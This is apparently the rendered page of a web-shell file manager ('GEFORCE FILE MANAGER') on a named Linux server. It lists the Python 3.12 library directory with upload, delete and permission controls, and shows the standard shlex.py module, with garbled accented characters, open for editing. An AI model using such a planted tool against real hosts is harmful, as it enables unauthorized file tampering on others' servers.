[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.19
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
lib64
/
python3.12
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
๐ __pycache__
SET
[ DEL ]
๐ asyncio
SET
[ DEL ]
๐ collections
SET
[ DEL ]
๐ concurrent
SET
[ DEL ]
๐ config-3.12-x86_64-linux-gnu
SET
[ DEL ]
๐ ctypes
SET
[ DEL ]
๐ curses
SET
[ DEL ]
๐ dbm
SET
[ DEL ]
๐ email
SET
[ DEL ]
๐ encodings
SET
[ DEL ]
๐ ensurepip
SET
[ DEL ]
๐ html
SET
[ DEL ]
๐ http
SET
[ DEL ]
๐ importlib
SET
[ DEL ]
๐ json
SET
[ DEL ]
๐ lib-dynload
SET
[ DEL ]
๐ lib2to3
SET
[ DEL ]
๐ logging
SET
[ DEL ]
๐ multiprocessing
SET
[ DEL ]
๐ pydoc_data
SET
[ DEL ]
๐ re
SET
[ DEL ]
๐ site-packages
SET
[ DEL ]
๐ sqlite3
SET
[ DEL ]
๐ tomllib
SET
[ DEL ]
๐ unittest
SET
[ DEL ]
๐ urllib
SET
[ DEL ]
๐ venv
SET
[ DEL ]
๐ wsgiref
SET
[ DEL ]
๐ xml
SET
[ DEL ]
๐ xmlrpc
SET
[ DEL ]
๐ zipfile
SET
[ DEL ]
๐ zoneinfo
SET
[ DEL ]
๐ LICENSE.txt
13,936 B
SET
[ EDIT ]
|
[ DEL ]
๐ __future__.py
5,218 B
SET
[ EDIT ]
|
[ DEL ]
๐ __hello__.py
227 B
SET
[ EDIT ]
|
[ DEL ]
๐ _aix_support.py
4,021 B
SET
[ EDIT ]
|
[ DEL ]
๐ _collections_abc.py
32,089 B
SET
[ EDIT ]
|
[ DEL ]
๐ _compat_pickle.py
8,761 B
SET
[ EDIT ]
|
[ DEL ]
๐ _compression.py
5,681 B
SET
[ EDIT ]
|
[ DEL ]
๐ _markupbase.py
14,653 B
SET
[ EDIT ]
|
[ DEL ]
๐ _osx_support.py
22,023 B
SET
[ EDIT ]
|
[ DEL ]
๐ _py_abc.py
6,189 B
SET
[ EDIT ]
|
[ DEL ]
๐ _pydatetime.py
92,087 B
SET
[ EDIT ]
|
[ DEL ]
๐ _pydecimal.py
227,283 B
SET
[ EDIT ]
|
[ DEL ]
๐ _pyio.py
93,593 B
SET
[ EDIT ]
|
[ DEL ]
๐ _pylong.py
10,790 B
SET
[ EDIT ]
|
[ DEL ]
๐ _sitebuiltins.py
3,128 B
SET
[ EDIT ]
|
[ DEL ]
๐ _strptime.py
28,393 B
SET
[ EDIT ]
|
[ DEL ]
๐ _sysconfigdata__linux_x86_64-linux-gnu.py
72,132 B
SET
[ EDIT ]
|
[ DEL ]
๐ _threading_local.py
7,220 B
SET
[ EDIT ]
|
[ DEL ]
๐ _weakrefset.py
5,893 B
SET
[ EDIT ]
|
[ DEL ]
๐ abc.py
6,538 B
SET
[ EDIT ]
|
[ DEL ]
๐ aifc.py
34,211 B
SET
[ EDIT ]
|
[ DEL ]
๐ antigravity.py
500 B
SET
[ EDIT ]
|
[ DEL ]
๐ argparse.py
101,155 B
SET
[ EDIT ]
|
[ DEL ]
๐ ast.py
64,452 B
SET
[ EDIT ]
|
[ DEL ]
๐ base64.py
20,634 B
SET
[ EDIT ]
|
[ DEL ]
๐ bdb.py
33,573 B
SET
[ EDIT ]
|
[ DEL ]
๐ bisect.py
3,423 B
SET
[ EDIT ]
|
[ DEL ]
๐ bz2.py
11,847 B
SET
[ EDIT ]
|
[ DEL ]
๐ cProfile.py
6,555 B
SET
[ EDIT ]
|
[ DEL ]
๐ calendar.py
25,864 B
SET
[ EDIT ]
|
[ DEL ]
๐ cgi.py
34,418 B
SET
[ EDIT ]
|
[ DEL ]
๐ cgitb.py
12,421 B
SET
[ EDIT ]
|
[ DEL ]
๐ chunk.py
5,500 B
SET
[ EDIT ]
|
[ DEL ]
๐ cmd.py
14,873 B
SET
[ EDIT ]
|
[ DEL ]
๐ code.py
10,962 B
SET
[ EDIT ]
|
[ DEL ]
๐ codecs.py
36,870 B
SET
[ EDIT ]
|
[ DEL ]
๐ codeop.py
5,908 B
SET
[ EDIT ]
|
[ DEL ]
๐ colorsys.py
4,062 B
SET
[ EDIT ]
|
[ DEL ]
๐ compileall.py
20,507 B
SET
[ EDIT ]
|
[ DEL ]
๐ configparser.py
53,789 B
SET
[ EDIT ]
|
[ DEL ]
๐ contextlib.py
27,637 B
SET
[ EDIT ]
|
[ DEL ]
๐ contextvars.py
129 B
SET
[ EDIT ]
|
[ DEL ]
๐ copy.py
8,412 B
SET
[ EDIT ]
|
[ DEL ]
๐ copyreg.py
7,614 B
SET
[ EDIT ]
|
[ DEL ]
๐ crypt.py
3,913 B
SET
[ EDIT ]
|
[ DEL ]
๐ csv.py
16,386 B
SET
[ EDIT ]
|
[ DEL ]
๐ dataclasses.py
62,085 B
SET
[ EDIT ]
|
[ DEL ]
๐ datetime.py
268 B
SET
[ EDIT ]
|
[ DEL ]
๐ decimal.py
2,805 B
SET
[ EDIT ]
|
[ DEL ]
๐ difflib.py
83,368 B
SET
[ EDIT ]
|
[ DEL ]
๐ dis.py
30,227 B
SET
[ EDIT ]
|
[ DEL ]
๐ doctest.py
106,749 B
SET
[ EDIT ]
|
[ DEL ]
๐ enum.py
81,540 B
SET
[ EDIT ]
|
[ DEL ]
๐ filecmp.py
10,381 B
SET
[ EDIT ]
|
[ DEL ]
๐ fileinput.py
15,714 B
SET
[ EDIT ]
|
[ DEL ]
๐ fnmatch.py
5,999 B
SET
[ EDIT ]
|
[ DEL ]
๐ fractions.py
38,147 B
SET
[ EDIT ]
|
[ DEL ]
๐ ftplib.py
34,735 B
SET
[ EDIT ]
|
[ DEL ]
๐ functools.py
37,940 B
SET
[ EDIT ]
|
[ DEL ]
๐ genericpath.py
5,572 B
SET
[ EDIT ]
|
[ DEL ]
๐ getopt.py
7,488 B
SET
[ EDIT ]
|
[ DEL ]
๐ getpass.py
5,990 B
SET
[ EDIT ]
|
[ DEL ]
๐ gettext.py
21,320 B
SET
[ EDIT ]
|
[ DEL ]
๐ glob.py
8,732 B
SET
[ EDIT ]
|
[ DEL ]
๐ graphlib.py
9,648 B
SET
[ EDIT ]
|
[ DEL ]
๐ gzip.py
25,402 B
SET
[ EDIT ]
|
[ DEL ]
๐ hashlib.py
9,683 B
SET
[ EDIT ]
|
[ DEL ]
๐ heapq.py
23,024 B
SET
[ EDIT ]
|
[ DEL ]
๐ hmac.py
8,043 B
SET
[ EDIT ]
|
[ DEL ]
๐ imaplib.py
54,209 B
SET
[ EDIT ]
|
[ DEL ]
๐ imghdr.py
4,398 B
SET
[ EDIT ]
|
[ DEL ]
๐ inspect.py
127,125 B
SET
[ EDIT ]
|
[ DEL ]
๐ io.py
3,582 B
SET
[ EDIT ]
|
[ DEL ]
๐ ipaddress.py
81,414 B
SET
[ EDIT ]
|
[ DEL ]
๐ keyword.py
1,073 B
SET
[ EDIT ]
|
[ DEL ]
๐ linecache.py
5,800 B
SET
[ EDIT ]
|
[ DEL ]
๐ locale.py
78,599 B
SET
[ EDIT ]
|
[ DEL ]
๐ lzma.py
13,277 B
SET
[ EDIT ]
|
[ DEL ]
๐ mailbox.py
78,911 B
SET
[ EDIT ]
|
[ DEL ]
๐ mailcap.py
9,333 B
SET
[ EDIT ]
|
[ DEL ]
๐ mimetypes.py
23,037 B
SET
[ EDIT ]
|
[ DEL ]
๐ modulefinder.py
23,699 B
SET
[ EDIT ]
|
[ DEL ]
๐ netrc.py
6,922 B
SET
[ EDIT ]
|
[ DEL ]
๐ nntplib.py
41,087 B
SET
[ EDIT ]
|
[ DEL ]
๐ ntpath.py
32,324 B
SET
[ EDIT ]
|
[ DEL ]
๐ nturl2path.py
2,374 B
SET
[ EDIT ]
|
[ DEL ]
๐ numbers.py
11,467 B
SET
[ EDIT ]
|
[ DEL ]
๐ opcode.py
13,174 B
SET
[ EDIT ]
|
[ DEL ]
๐ operator.py
10,965 B
SET
[ EDIT ]
|
[ DEL ]
๐ optparse.py
60,369 B
SET
[ EDIT ]
|
[ DEL ]
๐ os.py
40,821 B
SET
[ EDIT ]
|
[ DEL ]
๐ pathlib.py
51,052 B
SET
[ EDIT ]
|
[ DEL ]
๐ pdb.py
70,297 B
SET
[ EDIT ]
|
[ DEL ]
๐ pickle.py
66,911 B
SET
[ EDIT ]
|
[ DEL ]
๐ pickletools.py
94,052 B
SET
[ EDIT ]
|
[ DEL ]
๐ pipes.py
8,978 B
SET
[ EDIT ]
|
[ DEL ]
๐ pkgutil.py
18,281 B
SET
[ EDIT ]
|
[ DEL ]
๐ platform.py
43,388 B
SET
[ EDIT ]
|
[ DEL ]
๐ plistlib.py
28,342 B
SET
[ EDIT ]
|
[ DEL ]
๐ poplib.py
14,742 B
SET
[ EDIT ]
|
[ DEL ]
๐ posixpath.py
17,483 B
SET
[ EDIT ]
|
[ DEL ]
๐ pprint.py
24,158 B
SET
[ EDIT ]
|
[ DEL ]
๐ profile.py
23,092 B
SET
[ EDIT ]
|
[ DEL ]
๐ pstats.py
29,289 B
SET
[ EDIT ]
|
[ DEL ]
๐ pty.py
6,137 B
SET
[ EDIT ]
|
[ DEL ]
๐ py_compile.py
7,837 B
SET
[ EDIT ]
|
[ DEL ]
๐ pyclbr.py
11,396 B
SET
[ EDIT ]
|
[ DEL ]
๐ pydoc.py
113,508 B
SET
[ EDIT ]
|
[ DEL ]
๐ queue.py
11,496 B
SET
[ EDIT ]
|
[ DEL ]
๐ quopri.py
7,183 B
SET
[ EDIT ]
|
[ DEL ]
๐ random.py
34,689 B
SET
[ EDIT ]
|
[ DEL ]
๐ reprlib.py
7,148 B
SET
[ EDIT ]
|
[ DEL ]
๐ rlcompleter.py
7,827 B
SET
[ EDIT ]
|
[ DEL ]
๐ runpy.py
12,885 B
SET
[ EDIT ]
|
[ DEL ]
๐ sched.py
6,351 B
SET
[ EDIT ]
|
[ DEL ]
๐ secrets.py
1,984 B
SET
[ EDIT ]
|
[ DEL ]
๐ selectors.py
19,671 B
SET
[ EDIT ]
|
[ DEL ]
๐ shelve.py
8,560 B
SET
[ EDIT ]
|
[ DEL ]
๐ shlex.py
13,353 B
SET
[ EDIT ]
|
[ DEL ]
๐ shutil.py
56,762 B
SET
[ EDIT ]
|
[ DEL ]
๐ signal.py
2,495 B
SET
[ EDIT ]
|
[ DEL ]
๐ site.py
23,439 B
SET
[ EDIT ]
|
[ DEL ]
๐ smtplib.py
43,531 B
SET
[ EDIT ]
|
[ DEL ]
๐ sndhdr.py
7,448 B
SET
[ EDIT ]
|
[ DEL ]
๐ socket.py
37,815 B
SET
[ EDIT ]
|
[ DEL ]
๐ socketserver.py
28,065 B
SET
[ EDIT ]
|
[ DEL ]
๐ sre_compile.py
231 B
SET
[ EDIT ]
|
[ DEL ]
๐ sre_constants.py
232 B
SET
[ EDIT ]
|
[ DEL ]
๐ sre_parse.py
229 B
SET
[ EDIT ]
|
[ DEL ]
๐ ssl.py
50,904 B
SET
[ EDIT ]
|
[ DEL ]
๐ stat.py
5,485 B
SET
[ EDIT ]
|
[ DEL ]
๐ statistics.py
50,227 B
SET
[ EDIT ]
|
[ DEL ]
๐ string.py
11,786 B
SET
[ EDIT ]
|
[ DEL ]
๐ stringprep.py
12,917 B
SET
[ EDIT ]
|
[ DEL ]
๐ struct.py
257 B
SET
[ EDIT ]
|
[ DEL ]
๐ subprocess.py
88,747 B
SET
[ EDIT ]
|
[ DEL ]
๐ sunau.py
18,478 B
SET
[ EDIT ]
|
[ DEL ]
๐ symtable.py
12,477 B
SET
[ EDIT ]
|
[ DEL ]
๐ sysconfig.py
33,773 B
SET
[ EDIT ]
|
[ DEL ]
๐ tabnanny.py
11,531 B
SET
[ EDIT ]
|
[ DEL ]
๐ tarfile.py
114,250 B
SET
[ EDIT ]
|
[ DEL ]
๐ telnetlib.py
23,334 B
SET
[ EDIT ]
|
[ DEL ]
๐ tempfile.py
32,386 B
SET
[ EDIT ]
|
[ DEL ]
๐ textwrap.py
19,718 B
SET
[ EDIT ]
|
[ DEL ]
๐ this.py
1,003 B
SET
[ EDIT ]
|
[ DEL ]
๐ threading.py
59,742 B
SET
[ EDIT ]
|
[ DEL ]
๐ timeit.py
13,463 B
SET
[ EDIT ]
|
[ DEL ]
๐ token.py
2,511 B
SET
[ EDIT ]
|
[ DEL ]
๐ tokenize.py
21,570 B
SET
[ EDIT ]
|
[ DEL ]
๐ trace.py
29,352 B
SET
[ EDIT ]
|
[ DEL ]
๐ traceback.py
46,393 B
SET
[ EDIT ]
|
[ DEL ]
๐ tracemalloc.py
18,047 B
SET
[ EDIT ]
|
[ DEL ]
๐ tty.py
2,035 B
SET
[ EDIT ]
|
[ DEL ]
๐ types.py
10,993 B
SET
[ EDIT ]
|
[ DEL ]
๐ typing.py
118,836 B
SET
[ EDIT ]
|
[ DEL ]
๐ uu.py
7,341 B
SET
[ EDIT ]
|
[ DEL ]
๐ uuid.py
29,656 B
SET
[ EDIT ]
|
[ DEL ]
๐ warnings.py
21,909 B
SET
[ EDIT ]
|
[ DEL ]
๐ wave.py
22,769 B
SET
[ EDIT ]
|
[ DEL ]
๐ weakref.py
21,513 B
SET
[ EDIT ]
|
[ DEL ]
๐ webbrowser.py
24,141 B
SET
[ EDIT ]
|
[ DEL ]
๐ xdrlib.py
5,942 B
SET
[ EDIT ]
|
[ DEL ]
๐ zipapp.py
7,543 B
SET
[ EDIT ]
|
[ DEL ]
๐ zipimport.py
27,840 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: shlex.py
"""A lexical analyzer class for simple shell-like syntaxes.""" # Module and documentation by Eric S. Raymond, 21 Dec 1998 # Input stacking and error message cleanup added by ESR, March 2000 # push_source() and pop_source() made explicit by ESR, January 2001. # Posix compliance, split(), string arguments, and # iterator interface by Gustavo Niemeyer, April 2003. # changes to tokenize more like Posix shells by Vinay Sajip, July 2016. import os import re import sys from collections import deque from io import StringIO __all__ = ["shlex", "split", "quote", "join"] class shlex: "A lexical analyzer class for simple shell-like syntaxes." def __init__(self, instream=None, infile=None, posix=False, punctuation_chars=False): if isinstance(instream, str): instream = StringIO(instream) if instream is not None: self.instream = instream self.infile = infile else: self.instream = sys.stdin self.infile = None self.posix = posix if posix: self.eof = None else: self.eof = '' self.commenters = '#' self.wordchars = ('abcdfeghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_') if self.posix: self.wordchars += ('รร รกรขรฃรครฅรฆรงรจรฉรชรซรฌรญรฎรฏรฐรฑรฒรณรดรตรถรธรนรบรปรผรฝรพรฟ' 'รรรรรร รรรรรรรรรรรรรรรรรรรรรรรร') self.whitespace = ' \t\r\n' self.whitespace_split = False self.quotes = '\'"' self.escape = '\\' self.escapedquotes = '"' self.state = ' ' self.pushback = deque() self.lineno = 1 self.debug = 0 self.token = '' self.filestack = deque() self.source = None if not punctuation_chars: punctuation_chars = '' elif punctuation_chars is True: punctuation_chars = '();<>|&' self._punctuation_chars = punctuation_chars if punctuation_chars: # _pushback_chars is a push back queue used by lookahead logic self._pushback_chars = deque() # these chars added because allowed in file names, args, wildcards self.wordchars += '~-./*?=' #remove any punctuation chars from wordchars t = self.wordchars.maketrans(dict.fromkeys(punctuation_chars)) self.wordchars = self.wordchars.translate(t) @property def punctuation_chars(self): return self._punctuation_chars def push_token(self, tok): "Push a token onto the stack popped by the get_token method" if self.debug >= 1: print("shlex: pushing token " + repr(tok)) self.pushback.appendleft(tok) def push_source(self, newstream, newfile=None): "Push an input source onto the lexer's input source stack." if isinstance(newstream, str): newstream = StringIO(newstream) self.filestack.appendleft((self.infile, self.instream, self.lineno)) self.infile = newfile self.instream = newstream self.lineno = 1 if self.debug: if newfile is not None: print('shlex: pushing to file %s' % (self.infile,)) else: print('shlex: pushing to stream %s' % (self.instream,)) def pop_source(self): "Pop the input source stack." self.instream.close() (self.infile, self.instream, self.lineno) = self.filestack.popleft() if self.debug: print('shlex: popping to %s, line %d' \ % (self.instream, self.lineno)) self.state = ' ' def get_token(self): "Get a token from the input stream (or from stack if it's nonempty)" if self.pushback: tok = self.pushback.popleft() if self.debug >= 1: print("shlex: popping token " + repr(tok)) return tok # No pushback. Get a token. raw = self.read_token() # Handle inclusions if self.source is not None: while raw == self.source: spec = self.sourcehook(self.read_token()) if spec: (newfile, newstream) = spec self.push_source(newstream, newfile) raw = self.get_token() # Maybe we got EOF instead? while raw == self.eof: if not self.filestack: return self.eof else: self.pop_source() raw = self.get_token() # Neither inclusion nor EOF if self.debug >= 1: if raw != self.eof: print("shlex: token=" + repr(raw)) else: print("shlex: token=EOF") return raw def read_token(self): quoted = False escapedstate = ' ' while True: if self.punctuation_chars and self._pushback_chars: nextchar = self._pushback_chars.pop() else: nextchar = self.instream.read(1) if nextchar == '\n': self.lineno += 1 if self.debug >= 3: print("shlex: in state %r I see character: %r" % (self.state, nextchar)) if self.state is None: self.token = '' # past end of file break elif self.state == ' ': if not nextchar: self.state = None # end of file break elif nextchar in self.whitespace: if self.debug >= 2: print("shlex: I see whitespace in whitespace state") if self.token or (self.posix and quoted): break # emit current token else: continue elif nextchar in self.commenters: self.instream.readline() self.lineno += 1 elif self.posix and nextchar in self.escape: escapedstate = 'a' self.state = nextchar elif nextchar in self.wordchars: self.token = nextchar self.state = 'a' elif nextchar in self.punctuation_chars: self.token = nextchar self.state = 'c' elif nextchar in self.quotes: if not self.posix: self.token = nextchar self.state = nextchar elif self.whitespace_split: self.token = nextchar self.state = 'a' else: self.token = nextchar if self.token or (self.posix and quoted): break # emit current token else: continue elif self.state in self.quotes: quoted = True if not nextchar: # end of file if self.debug >= 2: print("shlex: I see EOF in quotes state") # XXX what error should be raised here? raise ValueError("No closing quotation") if nextchar == self.state: if not self.posix: self.token += nextchar self.state = ' ' break else: self.state = 'a' elif (self.posix and nextchar in self.escape and self.state in self.escapedquotes): escapedstate = self.state self.state = nextchar else: self.token += nextchar elif self.state in self.escape: if not nextchar: # end of file if self.debug >= 2: print("shlex: I see EOF in escape state") # XXX what error should be raised here? raise ValueError("No escaped character") # In posix shells, only the quote itself or the escape # character may be escaped within quotes. if (escapedstate in self.quotes and nextchar != self.state and nextchar != escapedstate): self.token += self.state self.token += nextchar self.state = escapedstate elif self.state in ('a', 'c'): if not nextchar: self.state = None # end of file break elif nextchar in self.whitespace: if self.debug >= 2: print("shlex: I see whitespace in word state") self.state = ' ' if self.token or (self.posix and quoted): break # emit current token else: continue elif nextchar in self.commenters: self.instream.readline() self.lineno += 1 if self.posix: self.state = ' ' if self.token or (self.posix and quoted): break # emit current token else: continue elif self.state == 'c': if nextchar in self.punctuation_chars: self.token += nextchar else: if nextchar not in self.whitespace: self._pushback_chars.append(nextchar) self.state = ' ' break elif self.posix and nextchar in self.quotes: self.state = nextchar elif self.posix and nextchar in self.escape: escapedstate = 'a' self.state = nextchar elif (nextchar in self.wordchars or nextchar in self.quotes or (self.whitespace_split and nextchar not in self.punctuation_chars)): self.token += nextchar else: if self.punctuation_chars: self._pushback_chars.append(nextchar) else: self.pushback.appendleft(nextchar) if self.debug >= 2: print("shlex: I see punctuation in word state") self.state = ' ' if self.token or (self.posix and quoted): break # emit current token else: continue result = self.token self.token = '' if self.posix and not quoted and result == '': result = None if self.debug > 1: if result: print("shlex: raw token=" + repr(result)) else: print("shlex: raw token=EOF") return result def sourcehook(self, newfile): "Hook called on a filename to be sourced." if newfile[0] == '"': newfile = newfile[1:-1] # This implements cpp-like semantics for relative-path inclusion. if isinstance(self.infile, str) and not os.path.isabs(newfile): newfile = os.path.join(os.path.dirname(self.infile), newfile) return (newfile, open(newfile, "r")) def error_leader(self, infile=None, lineno=None): "Emit a C-compiler-like, Emacs-friendly error-message leader." if infile is None: infile = self.infile if lineno is None: lineno = self.lineno return "\"%s\", line %d: " % (infile, lineno) def __iter__(self): return self def __next__(self): token = self.get_token() if token == self.eof: raise StopIteration return token def split(s, comments=False, posix=True): """Split the string *s* using shell-like syntax.""" if s is None: raise ValueError("s argument must not be None") lex = shlex(s, posix=posix) lex.whitespace_split = True if not comments: lex.commenters = '' return list(lex) def join(split_command): """Return a shell-escaped string from *split_command*.""" return ' '.join(quote(arg) for arg in split_command) _find_unsafe = re.compile(r'[^\w@%+=:,./-]', re.ASCII).search def quote(s): """Return a shell-escaped version of the string *s*.""" if not s: return "''" if _find_unsafe(s) is None: return s # use single quotes, and put single quotes into double quotes # the string $'b is then quoted as '$'"'"'b' return "'" + s.replace("'", "'\"'\"'") + "'" def _print_tokens(lexer): while tt := lexer.get_token(): print("Token: " + repr(tt)) if __name__ == '__main__': if len(sys.argv) == 1: _print_tokens(shlex()) else: fn = sys.argv[1] with open(fn) as f: _print_tokens(shlex(f, fn))